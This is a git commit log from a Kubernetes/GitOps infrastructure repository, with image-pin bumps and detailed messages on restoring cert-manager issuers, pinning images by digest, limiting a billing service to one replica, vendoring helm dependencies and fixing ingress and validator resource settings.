CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 10s
CI / manifests (push) Failing after 18s
github.com/hanzoai/mobile signs in with PKCE as hanzo-mobile; type: desktop
derives its one redirect (hanzo://oauth/mobile) from the org scheme, and the
app spells the same URI through the same convention, so neither side can
drift. A month of refresh, the CLI's reasoning on the CLI's shape.
2026-08-05 23:20:38 -07:00
zeekayandhanzo-dev edeba78bcd cert-manager: permit kube-system, where the leader-election Leases live
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
The Application was refused whole on first sync:

  namespace kube-system is not permitted in project 'hanzo-cert-manager'

cert-manager and cainjector take their leader election in kube-system, so the
chart renders four objects outside its own namespace — a Role and a RoleBinding
each, both named :leaderelection. Nothing else leaves cert-manager.

Omitting the destination did not scope the project down. It stopped it deploying
at all, which is the same whole-Application refusal the sibling projects keep
recording for one disallowed thing.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:20:17 -07:00
zeekayandhanzo-dev bd0075ac40 visor: say that replicas is not enforced, because it is not
CI / manifests (push) Canceled after 9s
CI / guards (push) Canceled after 8s
CI / integrity (push) Canceled after 7s
Mirror to GitHub / publish (push) Canceled after 8s
Charts / publish (push) Successful in 19s
The previous comment said "MUST stay 1" and left the reader to assume the file
made it so. It does not. The fleet Application carries

  ignoreDifferences: {group: apps, kind: Deployment,
                      jsonPointers: [/spec/replicas]}

with RespectIgnoreDifferences=true, so CD applies replicas on CREATE and never
reconciles it again — deliberate, so an HPA-owned count does not read as
permanent drift.

Measured, not inferred: this file said 1, the live Deployment ran 2, and CD
reported Deployment/visor Synced the whole time. A normal refresh and a hard
refresh both advanced the revision and ran no sync; the last actual sync
operation was five days old.

That matters more than usual here, because main.go now registers ha.Static — the
claim "I am the only replica" — and at 2 replicas that bills every customer
twice an hour. A declarative line that moves nothing is exactly the wrong place
to hold a money invariant.

The Deployment was scaled to 1 by hand before the ha.Static image ships. The
comment now names the check that actually answers the question.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:20:03 -07:00
hanzo-ci 7a19e53370 hanzo-app v1.42.334 -> v1.42.334
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 17s
Charts / publish (push) Successful in 18s
ghcr.io/hanzoai/app:v1.42.334
sha256:5aa1ca2191f3db1a42e83b3367ef6f091d41eecd2aa92e218757d8f08bb40a41

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33974
2026-08-06 06:17:36 +00:00
hanzo-ci 6b8971c475 hanzo-app v1.42.333 -> v1.42.334
Charts / publish (push) Canceled after 6s
CI / manifests (push) Canceled after 7s
CI / guards (push) Canceled after 7s
CI / integrity (push) Canceled after 7s
Mirror to GitHub / publish (push) Canceled after 9s
ghcr.io/hanzoai/app:v1.42.334
sha256:b0bf6cbd6f2fb7867000925159e363778be921598bc784382252036ec290cb8a

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33973
2026-08-06 06:17:28 +00:00
hanzo-ci fbc678dcce hanzo-app v1.42.332 -> v1.42.333
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 15s
ghcr.io/hanzoai/app:v1.42.333
sha256:d6a11e317f5f88faaf49712b2717a9efa83cefe4f58c5af4e23230a54f75592a

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33912
2026-08-06 05:56:45 +00:00
hanzo-ci aa5379395e hanzo-app v1.42.331 -> v1.42.332
CI / manifests (push) Failing after 10s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 8s
CI / integrity (push) Failing after 5s
Charts / publish (push) Successful in 18s
ghcr.io/hanzoai/app:v1.42.332
sha256:35ea0d67afa38cfdb2f2c7f80a77b2a26d9e4c0958bbf128b3d8d361821c187e

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33880
2026-08-06 05:48:05 +00:00
hanzo-ci f6bbb52a4d billing 1.0.15 -> 1.0.17
Charts / publish (push) Successful in 14s
CI / manifests (push) Failing after 14s
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
ghcr.io/hanzoai/billing:1.0.17
sha256:6a8e2883dc19061d634e6862bfad4f33c73888293c6cb5ba0ff1425d98b37bec

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33860
2026-08-06 05:39:52 +00:00
hanzo-dev 47081ed175 Revert "iam: declare hanzo-slack so Slack can hold a client on our MCP server"
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 9s
CI / manifests (push) Failing after 14s
This reverts commit 6a80e758f3.
2026-08-05 22:21:44 -07:00
hanzo-dev 6a80e758f3 iam: declare hanzo-slack so Slack can hold a client on our MCP server
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 14s
Slack's MCP Servers page connects an app to an external MCP server over OAuth.
It needs a client registered HERE (client_id hanzo-slack, HIP-0111) to get a
token for api.hanzo.ai/v1/mcp.

Opposite direction from hanzo/integrations/slack/CLIENT_ID+CLIENT_SECRET, which
are SLACK's credentials that cloud uses to call Slack. Pasting that pair into
Slack's form is the natural mistake and cannot work.

Its own app rather than a redirect on hanzo-mcp: that one is loopback PKCE for
MCP clients on a developer machine; this is a server-side client on slack.com.

redirects is EMPTY deliberately. The callback is Slack's URL and only Slack's
own page states it; this document REPLACES redirectUris every converge, so a
guessed URI is a redirect_uri_mismatch at consent while an omitted one is a
single converge away. The client and its secret exist now.

Also documents the auth shape Slack needs: IAM advertises client_secret_basic
first (matches Slack's HTTP Basic toggle) and S256 (matches its PKCE toggle).

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 22:17:22 -07:00
hanzo-ci c1c8a60bee hanzo-app v1.42.330 -> v1.42.331
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 20s
ghcr.io/hanzoai/app:v1.42.331
sha256:73582bcd37e9fa85313788aedd107a2a0c751af6d4caa27e1ba9cfc860457aba

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33752
2026-08-06 05:09:31 +00:00
hanzo-ci e962c043e7 hanzo/cloud v1.801.482 -> v1.801.483
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
CI / guards (push) Failing after 10s
CI / manifests (push) Failing after 18s
Charts / publish (push) Successful in 24s
ghcr.io/hanzoai/cloud:v1.801.483
sha256:c3a88a726d0662fce7c4ef4745368f48f1bc9fb44ca9ab2ce9d39eaacb3d3f69

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 20:42:50 -07:00
hanzo-ciandhanzo-dev 07ec6e79cb zen/zen v1.4.1 -> v1.4.11 — the service was answering from the pre-OpenRouter catalog
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 17s
2026-08-05 20:12:31 -07:00
hanzo-ci ba07abc710 hanzo-app v1.42.329 -> v1.42.330
CI / guards (push) Failing after 8s
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 14s
Charts / publish (push) Successful in 17s
ghcr.io/hanzoai/app:v1.42.330
sha256:54f610cb6fe4d144a653eeeef221a45582192eb69861a57b4fcdcc0fadb3ee9f

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33343
2026-08-06 02:57:42 +00:00
hanzo-ci a654c5ccc5 hanzo/cloud v1.801.481 -> v1.801.482
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 20s
ghcr.io/hanzoai/cloud:v1.801.482
sha256:ee4a81d85a5164da13e612a3ffc9d825da128418beab37821b158dc791949552

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 19:54:41 -07:00
hanzo-ci 81ca6c4324 hanzo-app v1.42.329 -> v1.42.329
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 9s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 35s
ghcr.io/hanzoai/app:v1.42.329
sha256:da8a5b89d3ad1eda5c750284bdca0de95854973fcc2b71fa53e336064d839bdd

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33337
2026-08-06 02:50:39 +00:00
hanzo-ci 52372cd825 hanzo-app v1.42.328 -> v1.42.329
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 9s
Charts / publish (push) Successful in 19s
CI / manifests (push) Failing after 12s
ghcr.io/hanzoai/app:v1.42.329
sha256:0568d1924b5b4ff347156113ff3522c15f3ae20cfc0b074c2812f1a64c9b112d

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33333
2026-08-06 02:49:54 +00:00
hanzo-ci bb840ff323 hanzo/cloud v1.801.480 -> v1.801.481
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 15s
ghcr.io/hanzoai/cloud:v1.801.481
sha256:6b7d4610cfce1454454c4f364de54163f2cb47525925c819f32019e3ba10457c

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 19:26:35 -07:00
zeekayandhanzo-dev c9db3397b2 charts: register a dependency's repo before building it
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 7s
CI / manifests (push) Failing after 15s
Mirror to GitHub / publish (push) Failing after 9s
Charts / publish (push) Successful in 31s
The vendoring step I added one commit ago fails on a fresh runner:

  Error: no repository definition for https://charts.jetstack.io.
  Please add the missing repos via 'helm repo add'

`helm dependency build` resolves a repository by NAME out of the runner's local
repo list. It does not fetch the URL written in Chart.yaml, and a runner that
starts from a clean image has an empty list — so the step only ever worked on a
machine where somebody had already run `helm repo add` by hand. That is the same
"works because of what the working directory happened to hold" failure the
vendoring step exists to remove, one level up.

The alias is derived from the URL rather than invented, so it is stable across
runs and two charts sharing a repository cannot fight over the name.

Verified against an empty repo list: both umbrellas in this tree vendor and
render — cert-manager pulls jetstack v1.19.6 and renders 52 objects, and dash
pulls grafana. dash has the same latent defect and this fixes it too.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:21:53 -07:00
zeekayandhanzo-dev cb34feb849 hanzod-mv: v1.36.57 (proposervm inner-head race fix), digest-pinned
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 7s
CI / manifests (push) Failing after 19s
Mirror to GitHub / publish (push) Failing after 9s
Recovery + upgrade in one cycle: the 3-vs-2 split at 6698/6700 cannot
heal in place (cert catch-up adopts nothing, certAccepted=0), so the
behind nodes restart-bootstrap onto the peer frontier while adopting
the fixed binary.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:20:53 -07:00
zeekayandhanzo-dev 74e3eeed39 agency 0.1.4: serve the site built from current main
Charts / publish (push) Failing after 8s
CI / guards (push) Failing after 13s
CI / manifests (push) Failing after 31s
CI / integrity (push) Failing after 9s
Mirror to GitHub / publish (push) Canceled after 6s
The running 0.1.3 image predated 21f05a1 and still served three client
testimonials nobody ever gave us. 0.1.4 is built from agency main, which
carries the deletion.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:19:44 -07:00
zeekayandhanzo-dev 8de6e63106 cert-manager: restore the issuer, and the issuers git never had
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Failing after 7s
CI / manifests (push) Failing after 15s
CI / guards (push) Failing after 10s
hanzo-k8s has had no cert-manager since 2026-08-02T00:15:31Z. The namespace, the
helm release and five of six CRDs were deleted; the sixth is still stuck
Terminating on a Challenge finalizer no controller remains to clear. 317 TLS
Secrets carry cert-manager annotations and nothing can renew any of them.

Nothing in this repository removed it. There is no such commit, and hanzo-k8s
never had a cert-manager Application to prune, so no sync could have. It was a
hand teardown and it was not recorded anywhere.

It also was not a decision this repository agrees with. Everything written the
week before builds ON cert-manager: LLM.md names "cert-manager Certificate ->
Secret" as the remainder path in the ONE fix for the ingress restart-outage
class; ingress/wildcard-cert-loaders.yaml exists to publish cert-manager's
wildcards into the Traefik TLS store; and project-platform.yaml was widened on
07-27 specifically to admit cert-manager.io/Certificate so those wildcards could
stop being hand-applied. The kms-only-secrets policy, authored 07-28, lists
`system:serviceaccount:cert-manager:cert-manager` among its four CANONICAL
principals — four days before the teardown, this cluster's secret policy named
cert-manager as a thing allowed to author Secrets at all. It is also Audit+Warn,
never Deny, so it could not have blocked anything either.

What this actually broke, beyond TLS: `universe-ingress` cannot sync AT ALL,
because one invalid task fails the whole operation —

  one or more synchronization tasks are not valid: failed to discover server
  resources for group version cert-manager.io/v1

That Application also owns routes.yaml, the only routing plane on this cluster.
The missing issuer froze ingress GitOps.

THE ISSUER FILE WAS WRONG AND RESTORING IT VERBATIM WOULD HAVE BEEN WORSE THAN
RESTORING NOTHING. It declared one issuer with a single http01 solver. The live
letsencrypt-prod was not that — it solved dns01 over Cloudflare with http01 only
as fallback. `wildcard-hanzo-ai-tls` is annotated `issuer-name: letsencrypt-prod`
with subject `CN=*.hanzo.ai`, and HTTP-01 cannot issue a wildcard at all; ingress/
host-certs.yaml says it in words. Applying the old file would have made every
wildcard in the fleet permanently unissuable while looking like a faithful
restore. `letsencrypt-prod-cf` was never in git at all and 59 Secrets name it.

Solvers are stated as a predicate, not a list: dns01 is the default because the
question is "can we create a TXT record here", and the answer is yes exactly when
the zone is in our Cloudflare account. http01 carries the short exception list —
domains pointed at this cluster whose DNS is someone else's. The inverse (dns01
enumerating all 267 zones we own) is ~800 stale-by-tomorrow lines whose failure
mode is a silently unissuable wildcard.

Ordering is the rate-limit control. This installs CRDs and the controller and
nothing that issues. The issuers live under `universe`, which has no automated
block and moves only when a human syncs it, so when the CRDs land
universe-ingress recreates its 11 Certificates and every one parks on "issuer not
found" — Let's Encrypt is never contacted. letsencrypt-staging proves the path
first. hanzo.ai holds 193 distinct certificates against a 50-per-week ceiling, so
a mistake against production issuance is a week-long lockout, not a retry.

Credential: --cluster-resource-namespace=hanzo, so the issuers read the
Cloudflare key that already syncs there from KMS and that the ingress already
uses. One credential, one KMS path, no second copy to rotate.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:16:15 -07:00
zeekayandhanzo-dev 807e9376d3 charts: vendor dependencies before packaging, or an umbrella publishes empty
`helm package` does not fetch dependencies. It packages whatever is already in
the chart's charts/ directory, so an umbrella whose dependency was never
vendored packages CLEANLY into an artifact that renders to nothing.

Every signal says that release is fine. The job is green, the version resolves
at the registry, `helm show chart` returns the right metadata, and the
Application reports the pinned revision. Only the object count gives it away,
and nothing looks at the object count.

charts/cert-manager is the first umbrella here with a real dependency, which is
how this surfaced. The published 0.1.0 happens to contain its subchart because
it was pushed from a laptop where deps had been built — the failure this
workflow's own header warns about, one level down: not "the published artifact
was whatever someone last pushed", but "the published artifact was whatever
someone's working directory happened to hold".

`build` and not `update`: build installs exactly what Chart.lock pins, so what
ships matches the lock that was reviewed. update would re-resolve the constraint
and could vendor something newer than the lock. A Chart.lock that disagrees with
Chart.yaml now fails the job, which is the point.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:16:15 -07:00
zeekayandhanzo-dev 0f9a23d7a0 values: stop claiming to be generated by a script that does not exist
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
58 values files opened with:

    # Generated from the <svc> App CR by hack/app2values.py.

Neither side of that sentence is true. 0c7b5ea36 deleted
infra/k8s/operator/crs — the App CRs it read — and hack/app2values.py is not
in the tree either. So the header named a generator nobody can run, over an
input that is absent, on files that are now hand-maintained and are themselves
the source of truth the fleet ApplicationSet reads.

A false "generated" banner is worse than no banner. It reads as "do not edit",
so the reader either goes looking for a source that does not exist, or edits
the file expecting to be overwritten. Both happened here: this pass nearly
abandoned a correct one-line change to visor.yaml on the assumption it would be
regenerated away.

The replacement says what is true — the file IS the declaration, edit it
directly — and keeps one line of provenance so the next person who greps for
app2values finds the explanation rather than the ghost.

Comment-only: 0 non-comment lines change across all 58 files, each still parses.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:11:25 -07:00
zeekayandhanzo-dev 680b83cf93 visor: replicas 2 -> 1, because ha.Static now asserts single-writer
CI / guards (push) Failing after 10s
CI / manifests (push) Failing after 20s
CI / integrity (push) Failing after 7s
Charts / publish (push) Successful in 23s
Mirror to GitHub / publish (push) Failing after 8s
visor's hourly metering is exactly-once by virtue of there being ONE writer:
its main.go registers ha.Static, the claim "I am the only replica". Under the
Base backend (the default, and what production runs — nothing sets
STORAGE_BACKEND) Shared() is a pod-local _global SQLite coord, so the
insert-once lease PK does not span pods. At 2 replicas both pods would make
that claim against their own coord and every customer would be billed once per
replica per hour.

This half and the ha.Static registration are ONE change. Raising replicas
requires registering a real membership source in the same commit; the comment
here and the one in visor main.go each point at the other.

No metering capacity is lost: only one replica was ever the elected billing
owner. What goes is HTTP HA during a rollout.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 19:09:59 -07:00
zeekayandhanzo-dev 21593f0ce2 ingress: pin the front door by digest, not by a mutable tag
Mirror to GitHub / publish (push) Failing after 50s
CI / manifests (push) Failing after 31s
CI / integrity (push) Failing after 12m29s
CI / guards (push) Failing after 32s
imagePullPolicy is Always, so a tag alone is re-resolved on every pod start:
a retag upstream changes what the estate's single entry point runs at the next
reschedule, with nothing in git recording the change. That is the pin shape
behind the api.hanzo.ai outage. The kubelet honours the digest; the tag stays
so a human can still read which release this is.

Digest is the one the kubelet already resolved for 1.10.6, so this pins what
is running rather than asking for something new.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:53:13 -07:00
hanzo-dev 4be54d0932 studio: pin the build that reads PUBLISHABLE_KEY
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 12s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 24s
The chart env is already right and already applied -- the running pod carries
PUBLISHABLE_KEY=pk-live-... -- but the pinned image (v0.19.18) predates the
rename and looks for the retired spellings, so studio.hanzo.ai still serves
window.HZ.pk empty. Measured just now: 6848 bytes, zero pk-live tokens.

Pins hanzoai/studio a154b33c, which is _PUBLISHABLE_KEY_ENV = ("PUBLISHABLE_KEY",)
by construction. Tag and digest move together; digest taken from GHCR's
docker-content-digest, not a build log.

This supersedes a v0.19.19 pin someone landed while this was in flight. That
tag is a DIFFERENT image (sha256:f17605fc... vs sha256:19979195...) and there
is no v0.19.* git tag in hanzoai/studio, so nothing could establish whether it
contains the fix -- and a tag whose content cannot be established is not a
thing to deploy a fix on. Verify by BEHAVIOUR after rollout:
  curl -s https://studio.hanzo.ai/ | grep -o 'window.HZ={[^}]*}'
should show a pk-live value rather than "pk":"".

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:46:23 -07:00
hanzo-ci c5a039dd11 studio v0.19.18 -> v0.19.19
Charts / publish (push) Successful in 21s
CI / manifests (push) Failing after 20s
CI / guards (push) Failing after 9s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
ghcr.io/hanzoai/studio:v0.19.19
sha256:f17605fcd211ff980c9196c66f5444a88caa3bb335cd2e7ccc0eb5e2b56db141

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33062
2026-08-06 01:44:07 +00:00
hanzo-ci 911d99f159 hanzo-app v1.42.327 -> v1.42.328
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.328
sha256:4ddfec802db037e5546fc1d9cbc373ad4d0b4511d9a880e8e8aad4268ed65057

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 33058
2026-08-06 01:43:50 +00:00
zeekayandhanzo-dev fd52d12670 hanzod(mainnet): 5Gi/4GiB — 4Gi OOMKilled mv-1 and froze the C-Chain
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 23s
hanzod-mv-1 was OOMKilled (exit 137) 21 times in a row, holding the fleet
at 4/5 — exactly the BFT threshold — and the C-Chain sat frozen at block
1193 with 9372 un-receipted transactions queued behind it.

The comment above these values had already worked out the right number:
each validator owns a 6.26Gi-allocatable hanzo-val node, so 5Gi leaves
~1.2Gi for system pods. The file still said 4Gi, so that decision never
actually landed.

It also cites a 2474Mi peak, which was measured on a quiet chain. Under
the backlog mv-0 and mv-4 were sitting at 3260Mi and 3422Mi — both next
in line to OOM, so this was one node away from dropping below quorum.

GOMEMLIMIT 3GiB -> 4GiB so the Go runtime still GCs hard below the cgroup
ceiling rather than sailing into a SIGKILL. requests left at 900Mi: the
comment records that raising the RESERVATION made mv-4 permanently
Pending while changing nothing about the kill, because the limit is what
the cgroup enforces.

Measured after the roll: mv-1 restarts 23 -> 0, and the C-Chain moved
1193 -> 1352 -> 2008 -> 4177 -> 6037.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:39:13 -07:00
zeekayandhanzo-dev b3dcaf76db iam: publish the ZAP door it has been binding all along
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 12s
CI / manifests (push) Failing after 17s
`serve --zap :9653` is in iam's command and has been for as long as the flag
has existed. The listener comes up on every rollout. Nothing could reach it.

Measured against the live cluster, from a cloud pod, just now:

    nc iam.hanzo.svc  80    -> OPEN     the only published port
    nc iam.hanzo.svc  9653  -> CLOSED   no such port on the Service
    nc 10.125.8.184   9653  -> OPEN     the listener, answering, on the pod

and inside the pod /proc/net/tcp shows three listeners in state 0A -- 1F40
(8000), 2382 (9090) and 25B5 (9653). The ZAP door was open the whole time and
the Service published port 80 alone, so the only thing any caller could observe
was a refusal.

That refusal is the root of a fleet-wide pattern. A door that is bound and
unroutable is worse than one never opened, because every caller reads "iam does
not speak ZAP" and writes an HTTP client instead -- which is what happened six
times independently: base (25+ sites to https://hanzo.id), commerce (20), ai
(9), visor, gateway (JWKS via the public edge) and kms (its token exchange).
Most of those hairpin out through Cloudflare to reach a pod one hop away. Every
one of them was a rational response to the only evidence available.

The fix is one ports[] entry. containerPort with no servicePort publishes
9653 -> 9653 (charts/app/templates/service.yaml renders
`port: .servicePort | default .containerPort`), which is exactly how cloud
already publishes its own zap port. Rendered and checked:

    ports:
      - name: http  port: 80    targetPort: 8000
      - name: zap   port: 9653  targetPort: 9653

Purely additive -- port 80 is untouched, so no existing caller changes -- and it
does not by itself move anyone onto ZAP. It makes moving possible, which it
was not before.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:38:23 -07:00
zeekayandhanzo-dev c84dca3334 ingress: stop being the first pod the kubelet evicts
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
Four replicas were evicted off the memory-pressured hanzo-val nodes, which run
validators beside general workloads on 6.5Gi machines. The kubelet ranks
Burstable pods for eviction by how far usage exceeds REQUEST, not by absolute
size, and ingress idles at 130-163Mi against a 128Mi request — permanently
above its own request, so permanently first in line. The estate's front door
was shed ahead of every batch job sharing the machine.

The request now sits above real usage so the pod ranks below its neighbours;
the 1Gi limit is untouched. priorityClassName says the rest out loud: every
host reaches its Service through this pod, so a node under pressure must shed
something else first.

The S3_* env this file already carries had never reached the cluster — the
deployed pods ran 1.10.4 with no object-store credentials, so every staticFiles
middleware failed closed and hanzo.ai, www.hanzo.ai, gallery.hanzo.ai and
hanzo.agency all answered 404 with their bytes already staged. Applied.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:32:16 -07:00
hanzo-dev 1e0ccbf8ad cd: list forge-actions-guard, so the guard against silent no-ops is not one
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 10s
The previous commit added the file and CD reported infra/k8s/hanzo-cd Synced at
that exact revision with the CronJob nowhere in the cluster. This directory
renders through a kustomization with an explicit resources list, so an unlisted
file is not applied and nothing says so -- the state the note above
sync-truth-guard already describes, reproduced within ten minutes by the commit
that was supposed to catch it.

Verified with `kustomize build`, per that note's own instruction: exit 0, 35
objects, forge-actions-guard among them.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:25:43 -07:00
hanzo-dev 48b9538ca7 cd: catch the repo that declares CI and is never allowed to run it
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
hanzo.agency served a ten-day-old build while its fix sat on the forge at the
right commit. Nothing was broken in the way anything reports: the mirror was
current, the workflow was correct, the runner was up, and the repo's Actions tab
was empty in the way an idle repo is empty.

The forge only runs a repo's workflows if that repo has the Actions UNIT on, and
notifier_helper.go answers a push to a repo without it by returning nil -- no
run, no error, no log. So the one state that stops every build is also the one
state that produces no evidence of itself.

Worth naming what this is NOT, because it is the obvious suspicion and it is
wrong: mirror syncs DO trigger `on: push`. SyncPushCommits raises the same
HookEventPush with the same payload as a human push, measured on hanzoai/platform
-- GitHub HEAD 811d5e01d8f4 arrived by sync and produced run 32556, event=push,
on that sha. A mirror-sync nudge was added in July and dropped a week later; it
would not have helped, and should not come back for this.

The predicate is `.hanzo/workflows` + unit off, and it is deliberately narrower
than "has workflows". 43 first-party repos have workflows with the unit off, but
38 are forks carrying upstream's .github/workflows -- langflow's 36 files,
frappe's 17 -- where off is correct and nobody wants upstream's release workflow
running on our runners with our secrets. .hanzo/workflows is only read by this
forge, so a file there was written to run here. Across the whole forge the
correlation is total: every repo matching this has push=0 for its entire life,
every repo with the unit on builds on push.

It finds 13 today, in three orgs, two of which have never run anything at all.

It reports and does not mutate, on the same terms as cd-sync-truth-guard beside
it: enabling Actions starts running code on our runners with our secrets, which
is a decision rather than a repair. It also could not mutate if it wanted to --
the read token it shares with that guard answers 403 to a PATCH.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:24:29 -07:00
zeekayandhanzo-dev 5d23486e47 sensei-group v0.1.7: every route reachable, and a miss is a 404
CI / manifests (push) Failing after 15s
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
Charts / publish (push) Failing after 18s
Mirror to GitHub / publish (push) Failing after 9s
v0.1.6 answers /ai, /help, /blog/all and /case-study/3 with the homepage
— the same 1,894,622 bytes as /. Only the front page works.

The base image tag is the cause, both times. Clean-URL fallback
(/ai -> ai.html) and the -404 flag arrived together in hanzoai/static
44ff6d7, released in v0.5.1. This image was built on 0.4.1, which has
neither: -404 aborts the process ("flag provided but not defined"),
which is the v0.1.3 crash loop, and with no .html fallback -spa is both
the only flag that boots AND the thing that swallows every route.

v0.1.7 builds on static v0.5.6. Verified on an isolated pod before this
pin moved: /ai, /help, /blog, /blog/all, /case-study/{,3,10} each serve
their own page, / resolves in zero redirects (0.4.1 was leaking a 301 to
/index.html), and an unknown path returns 404 with the real 404 page.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:23:11 -07:00
hanzo-dev e68e57def4 studio chart: EVENT_INGEST_KEY -> PUBLISHABLE_KEY (the name studio reads)
CI / integrity (push) Failing after 5s
